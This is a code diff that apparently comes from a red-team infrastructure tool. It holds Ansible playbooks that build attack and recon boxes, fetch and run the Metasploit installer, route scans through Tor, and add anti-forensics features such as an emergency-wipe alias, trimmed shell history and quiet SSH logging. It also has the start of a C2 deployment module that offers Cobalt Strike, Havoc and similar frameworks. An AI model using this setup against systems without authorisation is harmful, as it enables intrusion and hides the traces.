f.write(" gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n")
f.write("fi\n\n")
f.write("echo \"[+] Quick enumeration complete\"\n")
os.chmod(quick_enum_script, 0o755)
print(f"[+] Penetration testing structure created successfully")
print(f"[*] Add targets to: {target_template}")
print(f"[*] Engagement log: {engagement_log}")
print(f"[*] Quick enum script: {quick_enum_script}")
return base_dir
if __name__ == "__main__":
import sys
import getpass
if len(sys.argv) > 1:
workspace_name = sys.argv[1]
else:
workspace_name = f"/root/operator"
operator = getpass.getuser()
create_workspace_structure(workspace_name, operator)
@@ -0,0 +1,752 @@
---
# Attack Box Configuration Tasks
# Creates /root/<deployment_id> workspace structure
- name: Set user variables for headless deployment
ansible.builtin.set_fact:
target_user: "root"
user_home: "/root"
# Always use deployment_id for directory name (no hardcoded operator aliases)
work_dir: "{{ work_dir | default('/root/' + deployment_id) }}"
tool_name: "{{ tool_name | default('toolkit' if enhanced_opsec | default(false) else 'trashpanda') }}"
project_name: "{{ project_name | default(deployment_id) }}"
- name: Display attack box configuration start
debug:
msg: |
================================================================
ATTACK BOX CONFIGURATION STARTED
================================================================
Deployment ID: {{ deployment_id }}
Target: {{ ansible_host }}
OPSEC Mode: {{ 'Enhanced' if enhanced_opsec | default(false) else 'Standard' }}
Working Directory: {{ work_dir }}
Configuration Steps:
1. Create {{ 'secure' if enhanced_opsec | default(false) else 'TrashPanda' }} directory structure
2. Install base packages (~100 packages)
3. Install pipx and Python tools (~30 tools)
4. Install Go tools (~12 tools)
5. Clone Git repositories (~20 repositories)
6. Configure scripts and automation
7. Set up PATH and environment
This process may take 30-60 minutes depending on network speed.
Progress will be displayed for each step.
================================================================
- name: Record configuration start time
set_fact:
config_start_time: "{{ ansible_date_time.epoch }}"
- name: Create TrashPanda directory structure
ansible.builtin.file:
path: "{{ item }}"
state: directory
owner: "{{ target_user }}"
group: "{{ target_user }}"
mode: '0755'
loop:
# Main TrashPanda directories (exactly like trashpanda.py)
- "{{ work_dir }}"
- "{{ work_dir }}/tools"
- "{{ work_dir }}/scans"
- "{{ work_dir }}/logs"
- "{{ work_dir }}/loot"
- "{{ work_dir }}/payloads"
- "{{ work_dir }}/targets"
- "{{ work_dir }}/screenshots"
- "{{ work_dir }}/reports"
- "{{ work_dir }}/notes"
- "{{ work_dir }}/exploits"
- "{{ work_dir }}/wordlists"
- "{{ work_dir }}/pcaps"
# Scan subdirectories (exactly like trashpanda.py)
- "{{ work_dir }}/scans/nmap"
- "{{ work_dir }}/scans/dns"
- "{{ work_dir }}/scans/snmp"
- "{{ work_dir }}/scans/smb"
- "{{ work_dir }}/scans/web"
- "{{ work_dir }}/scans/ssl"
- "{{ work_dir }}/scans/vulns"
- "{{ work_dir }}/scans/ldap"
- "{{ work_dir }}/scans/ftp"
- "{{ work_dir }}/scans/ssh"
- "{{ work_dir }}/scans/databases"
- "{{ work_dir }}/scans/custom"
- "{{ work_dir }}/scans/reachability"
# Loot subdirectories (exactly like trashpanda.py)
- "{{ work_dir }}/loot/credentials"
- "{{ work_dir }}/loot/hashes"
- "{{ work_dir }}/loot/keys"
- "{{ work_dir }}/loot/configs"
- "{{ work_dir }}/loot/databases"
- "{{ work_dir }}/loot/files"
# Tools subdirectories for organization
- "{{ work_dir }}/tools/scripts"
- "{{ work_dir }}/tools/windows"
- "{{ work_dir }}/tools/linux"
- "{{ work_dir }}/tools/web"
- "{{ work_dir }}/tools/wireless"
- "{{ work_dir }}/tools/privesc"
# Attack Box Configuration
# Uses TrashPanda directory structure under /root/<deployment_id>
- name: Update package cache only (avoid grub-pc issues)
apt:
update_cache: yes
cache_valid_time: 3600
retries: 3
delay: 10
- name: Install base packages with progress feedback
ansible.builtin.apt:
name: "{{ item }}"
state: present
update_cache: yes
loop:
- curl
- wget
- git
- vim
- htop
- screen
- tmux
- python3
- python3-pip
- python3-venv
- python3-dev
- build-essential
- binutils
- hashcat
- john
- hydra
- aircrack-ng
- recon-ng
- exploitdb
- gobuster
- dirb
- nikto
- whatweb
- wapiti
- uniscan
- theharvester
- dnsenum
- dnsmap
- dnsutils
- whois
- netcat-traditional
- netcat-openbsd
- socat
- ncat
- nmap
- masscan
- unicornscan
- hping3
- tcpdump
- tshark
- dsniff
- arp-scan
- nbtscan
- enum4linux
- smbclient
- rpcclient
- showmount
- rpcinfo
- snmp
- snmp-mibs-downloader
- onesixtyone
- ldap-utils
- sslscan
- sslyze
- testssl.sh
- openssl
- ike-scan
- sleuthkit
- autopsy
- foremost
- scalpel
- binwalk
- exiftool
- steghide
- outguess
- stegosuite
- hexedit
- ghex
- bless
- radare2
- gdb
- valgrind
- ltrace
- strace
- lsof
- psmisc
- tree
- file
- less
- most
- unzip
- p7zip-full
- rar
- unrar
- cabextract
- cpio
- binutils-dev
- libc6-dev
- gcc
- g++
- make
- cmake
- autoconf
- automake
- libtool
- pkg-config
- libssl-dev
- libffi-dev
- libxml2-dev
- libxslt1-dev
- zlib1g-dev
- libjpeg-dev
- libpng-dev
- libgif-dev
- libfreetype6-dev
- libmagic-dev
- libpcap-dev
- libnetfilter-queue-dev
- libnfnetlink-dev
- libdnet-dev
- libpcre3-dev
- libgtk2.0-dev
- libgtk-3-dev
register: apt_install_result
ignore_errors: true
- name: Show package installation progress
debug:
msg: "Package {{ item.item }} installation: {{ 'SUCCESS' if item.changed else 'ALREADY INSTALLED' }}"
loop: "{{ apt_install_result.results }}"
when: apt_install_result.results is defined
- name: Check if pipx is available
ansible.builtin.command: pipx --version
register: pipx_version_check
failed_when: false
- name: Install pipx if not available
ansible.builtin.apt:
name: pipx
state: present
update_cache: yes
when: pipx_version_check.rc != 0
retries: 2
delay: 5
- name: Display pipx availability
debug:
msg: "Pipx version: {{ pipx_version_check.stdout if pipx_version_check.rc == 0 else 'Pipx was not found but has been installed' }}"
- name: Ensure pipx is properly configured
ansible.builtin.shell: pipx ensurepath
args:
executable: /bin/bash
register: pipx_ensurepath_result
failed_when: false
- name: Display pipx configuration result
debug:
msg: "Pipx ensurepath: {{ pipx_ensurepath_result.stdout }}"
- name: Upload pipx tools installation script
ansible.builtin.copy:
src: "../../modules/attack-box/files/install_pipx_tools.sh"
dest: /tmp/install_pipx_tools.sh
mode: '0755'
- name: Execute pipx tools installation script
ansible.builtin.shell: /tmp/install_pipx_tools.sh
register: pipx_install_result
ignore_errors: true
- name: Display pipx installation summary
debug:
msg: |
Pipx installation completed!
Check the detailed output above for individual tool status.
Full output captured in deployment logs.
- name: Display pipx installation status
debug:
msg: "Pipx installation {{ 'completed successfully' if pipx_install_result.rc == 0 else 'completed with some failures' }}"
when: pipx_install_result is defined
- name: Install additional Python packages via pip3 (for libraries)
ansible.builtin.pip:
name:
- requests
- beautifulsoup4
- lxml
- selenium
- paramiko
- capstone
- keystone-engine
- unicorn
- dnspython
- netaddr
- python-nmap
state: present
executable: pip3
retries: 2
delay: 5
ignore_errors: true
- name: Check if Go is available
ansible.builtin.command: go version
register: go_version_check
failed_when: false
- name: Display Go version
debug:
msg: "Go version: {{ go_version_check.stdout if go_version_check.rc == 0 else 'Go not found - skipping Go tools installation' }}"
- name: Upload Go tools installation script
ansible.builtin.copy:
src: "../files/install_go_tools.sh"
dest: /tmp/install_go_tools.sh
mode: '0755'
- name: Execute Go tools installation script
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_go_tools.sh
register: go_install_result
when: go_version_check.rc == 0
ignore_errors: true
- name: Display Go tools installation summary
debug:
msg: |
Go tools installation completed!
Check the detailed output above for individual tool status.
Full output captured in deployment logs.
- name: Configure PATH for all installed tools
ansible.builtin.blockinfile:
path: /root/.bashrc
block: |
# Attack Box Tool Paths
export WORK_DIR="{{ work_dir }}"
export GOPATH="{{ work_dir }}/tools/go"
export PATH="$PATH:/root/.local/bin" # pipx tools
export PATH="$PATH:/usr/local/go/bin" # Go binary
export PATH="$PATH:$GOPATH/bin" # Go tools
export PATH="$PATH:{{ work_dir }}/tools" # Custom tools
export PATH="$PATH:/opt/metasploit-framework/bin" # Metasploit
# Useful aliases for attack box
alias workspace="cd {{ work_dir }}"
alias tools="cd {{ work_dir }}/tools"
alias scans="cd {{ work_dir }}/scans"
alias loot="cd {{ work_dir }}/loot"
alias trashpanda="python3 {{ work_dir }}/tools/{{ tool_name }}.py"
alias ll="ls -la"
alias la="ls -la"
# Persistent tmux socket (prevents /tmp cleanup from killing sessions)
export TMUX_TMPDIR="/root/.local/share/tmux"
marker: "# {mark} ATTACK BOX CONFIGURATION"
create: yes
- name: Create persistent tmux socket directory
ansible.builtin.file:
path: /root/.local/share/tmux
state: directory
mode: '0700'
- name: Source bashrc to apply PATH changes
ansible.builtin.shell: source /root/.bashrc
args:
executable: /bin/bash
- name: Upload Git repositories cloning script
ansible.builtin.copy:
src: "../files/install_git_repos.sh"
dest: /tmp/install_git_repos.sh
mode: '0755'
- name: Execute Git repositories cloning script
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_git_repos.sh
register: git_clone_result
ignore_errors: true
- name: Display Git repositories cloning summary
debug:
msg: |
Git repositories cloning completed!
Check the detailed output above for individual repository status.
Full output captured in deployment logs.
- name: Install Metasploit (latest nightly build)
shell: |
cd /tmp
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
args:
creates: /opt/metasploit-framework/bin/msfconsole
- name: Copy TrashPanda tool to workspace directory
copy:
src: "../files/{{ tool_name }}.py"
dest: "{{ work_dir }}/tools/{{ tool_name }}.py"
mode: '0755'
owner: "{{ target_user }}"
group: "{{ target_user }}"
when: not (enhanced_opsec | default(false))
- name: Copy OPSEC monitoring scripts
copy:
src: "{{ item }}"
dest: "{{ work_dir }}/tools/scripts/"
mode: '0755'
owner: "{{ target_user }}"
group: "{{ target_user }}"
loop:
- "../files/opsec-check.sh"
- "../files/emergency-wipe.sh"
- "../files/trash-cleanup.sh"
- name: Copy OPSEC-aware shell aliases
copy:
src: "../files/clean-shell-aliases"
dest: "{{ work_dir }}/tools/scripts/shell-aliases"
mode: '0644'
owner: "{{ target_user }}"
group: "{{ target_user }}"
when: enhanced_opsec | default(false)
- name: Copy automation scripts to tools directory
copy:
src: "{{ item }}"
dest: "{{ work_dir }}/tools/scripts/"
mode: '0755'
owner: "{{ target_user }}"
group: "{{ target_user }}"
with_fileglob:
- "../files/*.sh"
- "../files/*.py"
when: not (enhanced_opsec | default(false))
- name: Create engagement log file
copy:
content: |
# Engagement Log - {{ ansible_date_time.iso8601 }}
# Attack Box Deployment: {{ attack_box_name | default('attack-box') }}
# IP Address: {{ ansible_default_ipv4.address | default('N/A') }}
#
# Directory Structure:
# {{ work_dir }}/tools/ - Downloaded/compiled tools and scripts
# {{ work_dir }}/scans/ - All scan results organized by type
# {{ work_dir }}/logs/ - Execution logs and debug output
# {{ work_dir }}/loot/ - Extracted credentials, hashes, and sensitive data
# {{ work_dir }}/payloads/ - Custom payloads and exploit code
# {{ work_dir }}/targets/ - Target lists and reconnaissance data
# {{ work_dir }}/screenshots/ - Visual evidence and GUI captures
# {{ work_dir }}/reports/ - Draft reports and documentation
# {{ work_dir }}/notes/ - Manual notes and observations
# {{ work_dir }}/exploits/ - Working exploits and proof-of-concepts
# {{ work_dir }}/wordlists/ - Custom and downloaded wordlists
# {{ work_dir }}/pcaps/ - Network captures and traffic analysis
#
# Log started: {{ ansible_date_time.iso8601 }}
dest: "{{ work_dir }}/logs/engagement.log"
owner: "{{ target_user }}"
group: "{{ target_user }}"
mode: '0644'
- name: Create initial target template
copy:
content: |
# Target List Template
# Add targets one per line in various formats:
#
# Individual IPs:
# 192.168.1.10
# 10.0.0.5
#
# IP Ranges:
# 192.168.1.1-254
# 10.0.0.1-50
#
# CIDR Notation:
# 192.168.1.0/24
# 10.0.0.0/16
#
# Hostnames:
# target.example.com
# www.example.com
dest: "{{ work_dir }}/targets/targets.txt"
owner: "{{ target_user }}"
group: "{{ target_user }}"
mode: '0644'
force: no
- name: Create bash aliases for workflow (OPSEC mode)
lineinfile:
path: "{{ user_home }}/.bashrc"
line: "{{ item }}"
create: yes
loop:
- "# Attack Box Aliases"
- "export WORK_DIR='{{ work_dir }}'"
- "alias ops='cd {{ work_dir }}'"
- "alias tools='cd {{ work_dir }}/tools'"
- "alias scans='cd {{ work_dir }}/scans'"
- "alias loot='cd {{ work_dir }}/loot'"
- "alias targets='cd {{ work_dir }}/targets'"
- "alias reports='cd {{ work_dir }}/reports'"
- "alias logs='cd {{ work_dir }}/logs'"
- "alias toolkit='python3 {{ work_dir }}/tools/toolkit.py'"
- "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'"
- "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'"
- "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'"
- "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'"
- "alias opsec='{{ work_dir }}/tools/scripts/opsec-check.sh'"
- "alias panic='{{ work_dir }}/tools/scripts/emergency-wipe.sh'"
- "alias clean='{{ work_dir }}/tools/scripts/trash-cleanup.sh'"
when: enhanced_opsec | default(false)
- name: Create bash aliases for workflow (Standard mode)
lineinfile:
path: "{{ user_home }}/.bashrc"
line: "{{ item }}"
create: yes
loop:
- "# Attack Box Aliases"
- "export WORK_DIR='{{ work_dir }}'"
- "alias workspace='cd {{ work_dir }}'"
- "alias tools='cd {{ work_dir }}/tools'"
- "alias scans='cd {{ work_dir }}/scans'"
- "alias loot='cd {{ work_dir }}/loot'"
- "alias targets='cd {{ work_dir }}/targets'"
- "alias reports='cd {{ work_dir }}/reports'"
- "alias logs='cd {{ work_dir }}/logs'"
- "alias trashpanda='python3 {{ work_dir }}/tools/{{ tool_name }}.py'"
- "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'"
- "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'"
- "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'"
- "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'"
when: not (enhanced_opsec | default(false))
- name: Set Go path in bashrc
lineinfile:
path: "{{ user_home }}/.bashrc"
line: "{{ item }}"
create: yes
loop:
- "export GOPATH={{ work_dir }}/tools/go"
- "export PATH=$PATH:{{ work_dir }}/tools/go/bin"
- name: Load OPSEC shell aliases (Enhanced OPSEC mode)
blockinfile:
path: "{{ user_home }}/.bashrc"
block: |
# OPSEC-aware shell aliases
source {{ work_dir }}/tools/scripts/shell-aliases
marker: "# {mark} OPSEC SHELL ALIASES"
create: yes
when: enhanced_opsec | default(false)
- name: Configure hardened SSH (Enhanced OPSEC mode)
blockinfile:
path: "/etc/ssh/sshd_config"
block: |
# OPSEC hardened SSH configuration
LogLevel QUIET
TCPKeepAlive no
ClientAliveInterval 300
ClientAliveCountMax 2
MaxAuthTries 3
MaxSessions 2
LoginGraceTime 60
marker: "# {mark} OPSEC SSH HARDENING"
backup: yes
when: enhanced_opsec | default(false)
register: ssh_config_changed
- name: Restart SSH service if configuration changed
service:
name: ssh
state: restarted
when: enhanced_opsec | default(false) and ssh_config_changed.changed
- name: Disable bash history for OPSEC (Enhanced OPSEC mode)
lineinfile:
path: "{{ user_home }}/.bashrc"
line: "{{ item }}"
create: yes
loop:
- "# OPSEC: Minimize command history"
- "export HISTSIZE=100"
- "export HISTFILESIZE=100"
- "export HISTCONTROL=ignoreboth:erasedups"
when: enhanced_opsec | default(false)
- name: Set up Tor if requested
block:
- name: Configure Tor
copy:
content: |
SocksPort 9050
ControlPort 9051
CookieAuthentication 1
DataDirectory /var/lib/tor
dest: /etc/tor/torrc
backup: yes
- name: Start and enable Tor
systemd:
name: tor
state: started
enabled: yes
- name: Configure proxychains for Tor
replace:
path: /etc/proxychains4.conf
regexp: '^socks4.*127\.0\.0\.1.*9050.*$'
replace: 'socks5 127.0.0.1 9050'
when: setup_tor | default(false)
- name: Create themes directory
ansible.builtin.file:
path: "{{ work_dir }}/tools/themes"
state: directory
owner: "{{ target_user }}"
group: "{{ target_user }}"
mode: '0755'
- name: Upload terminal theme installer script
ansible.builtin.copy:
src: "../files/install_terminal_themes.sh"
dest: "{{ work_dir }}/tools/scripts/install_terminal_themes.sh"
mode: '0755'
owner: "{{ target_user }}"
group: "{{ target_user }}"
- name: Upload DC27 dconf theme file
ansible.builtin.copy:
src: "../files/dc27-theme.dconf"
dest: "{{ work_dir }}/tools/themes/dc27-theme.dconf"
mode: '0644'
owner: "{{ target_user }}"
group: "{{ target_user }}"
- name: Add terminal theme alias to bashrc
lineinfile:
path: "{{ user_home }}/.bashrc"
line: "alias install-themes='WORK_DIR={{ work_dir }} {{ work_dir }}/tools/scripts/install_terminal_themes.sh'"
create: yes
- name: Execute terminal theme installer during deployment
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" {{ work_dir }}/tools/scripts/install_terminal_themes.sh
args:
executable: /bin/bash
register: theme_install_result
when: install_terminal_themes | default(false)
ignore_errors: true
- name: Display terminal theme installation result
debug:
msg: "Terminal themes {{ 'installed' if theme_install_result.rc == 0 else 'installation had issues (non-critical)' }}"
when: install_terminal_themes | default(false) and theme_install_result is defined
- name: Update locate database
command: updatedb
ignore_errors: true
- name: Calculate configuration duration
set_fact:
config_end_time: "{{ ansible_date_time.epoch }}"
config_duration: "{{ (ansible_date_time.epoch|int - config_start_time|int) // 60 }}"
- name: Display attack box configuration summary
debug:
msg: |
================================================================
ATTACK BOX CONFIGURATION COMPLETED
================================================================
Deployment ID: {{ deployment_id }}
Target: {{ ansible_host }}
Configuration Duration: {{ config_duration }} minutes
Directory Structure: {{ work_dir }}
├── docs/ - Documentation and notes
├── exploits/ - Exploit development
├── loot/ - Extracted data and findings
├── reports/ - Assessment reports
├── scripts/ - Custom automation scripts
├── tools/ - Security tools
│ ├── go/bin/ - Go-based tools
│ └── git/ - Git repositories
└── wordlists/ - Custom wordlists
Tools Installed:
- Base packages: ~100 security tools
- Python tools: ~30 tools via pipx
- Go tools: ~12 reconnaissance tools
- Git repositories: ~20 tool repositories
Environment:
- PATH configured for all tools
- pipx tools accessible system-wide
- Go tools in {{ work_dir }}/tools/go/bin
Next Steps:
1. SSH into the box: ssh -i a-{{ deployment_id }} root@{{ ansible_host }}
2. Navigate to working directory: cd {{ work_dir }}
3. Start your assessment activities
================================================================
- name: Display setup completion information (OPSEC mode)
debug:
msg:
- "Attack Box Setup Complete!"
- ""
- "Main Directory: {{ work_dir }}"
- "Tools Location: {{ work_dir }}/tools"
- "Scan Results: {{ work_dir }}/scans"
- "Loot Storage: {{ work_dir }}/loot"
- ""
- "Quick Commands:"
- " ops - Go to main directory"
- " toolkit [targets] - Run toolkit enumeration"
- " recon <target> - Run reconnaissance automation"
- " portscan <target> - Run port scan automation"
- " webenum <target> - Run web enumeration automation"
- " attack-menu - Launch manual testing menu"
- " opsec - Check OPSEC status"
- " panic - Emergency sanitization"
- " clean - Clean operational artifacts"
- ""
- "Start here: {{ work_dir }}/targets/targets.txt"
when: enhanced_opsec | default(false)
- name: Display setup completion information (Standard mode)
debug:
msg:
- "TrashPanda Attack Box Setup Complete!"
- ""
- "Main Directory: {{ work_dir }}"
- "Tools Location: {{ work_dir }}/tools"
- "Scan Results: {{ work_dir }}/scans"
- "Loot Storage: {{ work_dir }}/loot"
- ""
- "Quick Commands:"
- " workspace - Go to main directory"
- " trashpanda [targets] - Run TrashPanda enumeration"
- " recon <target> - Run reconnaissance automation"
- " portscan <target> - Run port scan automation"
- " webenum <target> - Run web enumeration automation"
- " attack-menu - Launch manual testing menu"
- ""
- "Start here: {{ work_dir }}/targets/targets.txt"
when: not (enhanced_opsec | default(false))
@@ -0,0 +1,263 @@
---
# Quick Recon Box Configuration - OPSEC + Basic Tools
# Includes Tor, VPN, and basic reconnaissance tools only
- name: Record configuration start time
set_fact:
config_start_time: "{{ ansible_date_time.epoch }}"
- name: Display quick recon box configuration info
debug:
msg: |
================================================================
CONFIGURING QUICK RECON BOX
================================================================
Deployment ID: {{ deployment_id }}
Attack Box Name: {{ attack_box_name }}
Target: OPSEC-focused reconnaissance with basic tools
Features: Tor + VPN + Basic Tools (no complex installations)
================================================================
# Set up variables
- name: Set common variables
set_fact:
target_user: "root"
work_dir: "{{ work_dir | default('/root/' + deployment_id) }}"
deployment_id: "{{ deployment_id }}"
attack_box_name: "{{ attack_box_name }}"
# Core directories
- name: Create core working directories
ansible.builtin.file:
path: "{{ item }}"
state: directory
owner: "{{ target_user }}"
group: "{{ target_user }}"
mode: '0755'
loop:
- "{{ work_dir }}"
- "{{ work_dir }}/scans"
- "{{ work_dir }}/loot"
- "{{ work_dir }}/notes"
- "/root/tools"
# Update system and install essential packages
- name: Update package cache
ansible.builtin.apt:
update_cache: yes
cache_valid_time: 3600
- name: Install minimal essential tools + OPSEC packages
ansible.builtin.apt:
name:
# Core system tools
- curl
- wget
- git
- vim
- tmux
- htop
- unzip
- python3
- jq
# Basic network reconnaissance
- nmap
- dnsutils
- whois
- netcat-traditional
- traceroute
# OPSEC tools
- tor
- torsocks
- proxychains4
- openvpn
- easy-rsa
state: present
install_recommends: no
- name: Configure Tor for anonymous reconnaissance
ansible.builtin.copy:
content: |
# Tor configuration for Quick Recon Box
DataDirectory /var/lib/tor
PidFile /var/run/tor/tor.pid
RunAsDaemon 1
User debian-tor
Log notice file /var/log/tor/notices.log
SocksPort 9050
SocksPolicy accept *
ControlPort 9051
CookieAuthentication 1
NewCircuitPeriod 30
MaxCircuitDirtiness 600
UseEntryGuards 1
ExitPolicy accept *:53
ExitPolicy accept *:80
ExitPolicy accept *:443
ExitPolicy accept *:993
ExitPolicy accept *:995
ExitPolicy reject *:*
CircuitBuildTimeout 10
LearnCircuitBuildTimeout 0
dest: /etc/tor/torrc
backup: yes
- name: Configure proxychains for Tor routing
ansible.builtin.copy:
content: |
# Proxychains configuration for Tor
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
localnet 127.0.0.0/255.0.0.0
quiet_mode
[ProxyList]
socks4 127.0.0.1 9050
dest: /etc/proxychains4.conf
backup: yes
- name: Start and enable Tor service
ansible.builtin.systemd:
name: tor
state: started
enabled: yes
# VPN Setup
- name: Create OpenVPN directory structure
ansible.builtin.file:
path: "{{ item }}"
state: directory
mode: '0755'
loop:
- /etc/openvpn/server
- /etc/openvpn/client
- "{{ work_dir }}/vpn"
- name: Generate basic OpenVPN server config for quick recon
ansible.builtin.copy:
content: |
port 1194
proto udp
dev tun
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
keepalive 10 120
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
log-append /var/log/openvpn.log
verb 3
explicit-exit-notify 1
dest: /etc/openvpn/server/quick-recon.conf
mode: '0644'
when: setup_vpn | default(false) | bool
- name: Create VPN client template
ansible.builtin.copy:
content: |
# Quick Recon VPN Client Config
# Server: {{ ansible_default_ipv4.address }}
# Generated: {{ ansible_date_time.iso8601 }}
client
dev tun
proto udp
remote {{ ansible_default_ipv4.address }} 1194
resolv-retry infinite
nobind
persist-key
persist-tun
cipher AES-256-CBC
verb 3
# Add certificates here:
# <ca>
# </ca>
# <cert>
# </cert>
# <key>
# </key>
dest: "{{ work_dir }}/vpn/quick-recon-client.ovpn"
owner: "{{ target_user }}"
group: "{{ target_user }}"
mode: '0644'
when: setup_vpn | default(false) | bool
# No domain/nginx setup for Quick Recon Box - keep it minimal
- name: Create quick aliases for OPSEC operations
ansible.builtin.lineinfile:
path: "/root/.bashrc"
line: "{{ item }}"
create: yes
loop:
- "# Quick Recon Box Aliases"
- "alias qr='cd {{ work_dir }}'"
- "alias tor-nmap='torsocks nmap'"
- "alias tor-curl='torsocks curl'"
- "alias check-tor='curl --socks5 127.0.0.1:9050 https://check.torproject.org/api/ip'"
- "export TMUX_TMPDIR=/root/.local/share/tmux"
- name: Create persistent tmux socket directory
ansible.builtin.file:
path: /root/.local/share/tmux
state: directory
mode: '0700'
- name: Create simple quick reference
ansible.builtin.copy:
content: |
# Quick Recon Box
## Basic Tools Installed:
- nmap, netcat, curl, wget, dig, whois, traceroute, python3
- tor + torsocks (anonymous operations)
{% if setup_vpn | default(false) %}- openvpn (VPN server){% endif %}
## Quick Commands:
- tor-nmap target.com # Anonymous nmap scan
- tor-curl target.com # Anonymous web request
- check-tor # Verify Tor connection
- qr # Go to working directory
## Working Directory: {{ work_dir }}
- Scans: {{ work_dir }}/scans/
- Notes: {{ work_dir }}/notes/
- Loot: {{ work_dir }}/loot/
Add tools as needed: apt install <tool>
dest: /root/QUICK_RECON_GUIDE.txt
mode: '0644'
- name: Final setup completion message
debug:
msg: |
================================================================
QUICK RECON BOX SETUP COMPLETE!
================================================================
Basic tools installed:
✓ nmap, netcat, curl, wget, dig, whois, traceroute
✓ python3, git, vim, tmux, jq
OPSEC features enabled:
✓ Tor proxy (localhost:9050)
✓ Torsocks for anonymous operations
✓ Proxychains4 configured
{% if setup_vpn | default(false) %}✓ OpenVPN server ready{% endif %}
{% if setup_domain | default(false) %}✓ Domain {{ domain }} configured{% endif %}
Quick commands:
✓ tor-nmap, tor-curl, tor-dig for anonymous recon
✓ check-tor to verify anonymity
✓ qr to go to working directory
Quick Reference: /root/QUICK_RECON_GUIDE.txt
Working Directory: {{ work_dir }}
Ready for additional tool installation as needed!
================================================================
+36
View File
@@ -0,0 +1,36 @@
# Tor configuration for Quick Recon Box
# Generated: {{ ansible_date_time.iso8601 }}
# Basic Tor configuration
DataDirectory /var/lib/tor
PidFile /var/run/tor/tor.pid
RunAsDaemon 1
User debian-tor
# Logging
Log notice file /var/log/tor/notices.log
# SOCKS proxy for applications
SocksPort 9050
SocksPolicy accept *
# Control port for advanced usage
ControlPort 9051
CookieAuthentication 1
# Circuit settings for better anonymity
NewCircuitPeriod 30
MaxCircuitDirtiness 600
UseEntryGuards 1
# Exit policy - allow common ports for recon
ExitPolicy accept *:53 # DNS
ExitPolicy accept *:80 # HTTP
ExitPolicy accept *:443 # HTTPS
ExitPolicy accept *:993 # IMAPS
ExitPolicy accept *:995 # POP3S
ExitPolicy reject *:*
# Performance tuning for reconnaissance
CircuitBuildTimeout 10
LearnCircuitBuildTimeout 0
View File
+316
View File
@@ -0,0 +1,316 @@
#!/usr/bin/env python3
"""
C2 infrastructure deployment module
"""
import os
import sys
import logging
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input,
archive_old_logs
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
from utils.naming_utils import get_deployment_name_with_options
def gather_c2_parameters():
"""Collect parameters specific to C2 deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}========================{COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# C2-specific configuration
print(f"\n{COLORS['BLUE']}C2 Configuration{COLORS['RESET']}")
# Domain configuration
domain = input(f"Domain for C2 infrastructure [required]: ")
if not domain:
print(f"{COLORS['RED']}A domain is required for C2 deployments{COLORS['RESET']}")
return None
config['domain'] = domain
# Subdomain configuration
config['c2_subdomain'] = input("C2 server subdomain [default: mail]: ") or "mail"
# Instance naming options
config['redirector_name'] = get_deployment_name_with_options(
deployment_type='redirector',
deployment_id=config['deployment_id'],
prefix='r-'
)
config['c2_name'] = get_deployment_name_with_options(
deployment_type='c2',
deployment_id=config['deployment_id'],
prefix='s-'
)
# C2 Framework selection
print(f"\n{COLORS['BLUE']}C2 Framework Selection:{COLORS['RESET']}")
print(f"1) Havoc")
print(f"2) Cobalt Strike")
print(f"3) Sliver")
print(f"4) Mythic")
print(f"5) Custom")
framework_choice = input("Select C2 framework [default: 1]: ") or "1"
frameworks = {
"1": "havoc",
"2": "cobaltstrike",
"3": "sliver",
"4": "mythic",
"5": "custom"
}
config['c2_framework'] = frameworks.get(framework_choice, "havoc")
# Email for Let's Encrypt
default_email = f"admin@{config['domain']}"
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
# Get operator IP for security
suggested_ip = get_public_ip()
if suggested_ip:
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
else:
operator_ip = input("Your public IP for secure access: ")
config['operator_ip'] = operator_ip
# SSH key generation
ssh_key_path = generate_ssh_key(config['deployment_id'])
if not ssh_key_path:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
config['ssh_key_path'] = f"{ssh_key_path}.pub"
# SMTP Configuration for email services
print(f"\n{COLORS['BLUE']}SMTP Configuration{COLORS['RESET']}")
config['smtp_auth_user'] = input("SMTP authentication username [default: admin]: ") or "admin"
import secrets
import string
def generate_random_password(length=16):
alphabet = string.ascii_letters + string.digits + "!@#$%^&*"
password = ''.join(secrets.choice(alphabet) for _ in range(length))
return password
default_password = generate_random_password()
smtp_password = input(f"SMTP authentication password [default: random generated]: ")
config['smtp_auth_pass'] = smtp_password if smtp_password else default_password
print(f"{COLORS['GREEN']}SMTP Credentials:{COLORS['RESET']}")
print(f" Username: {config['smtp_auth_user']}")
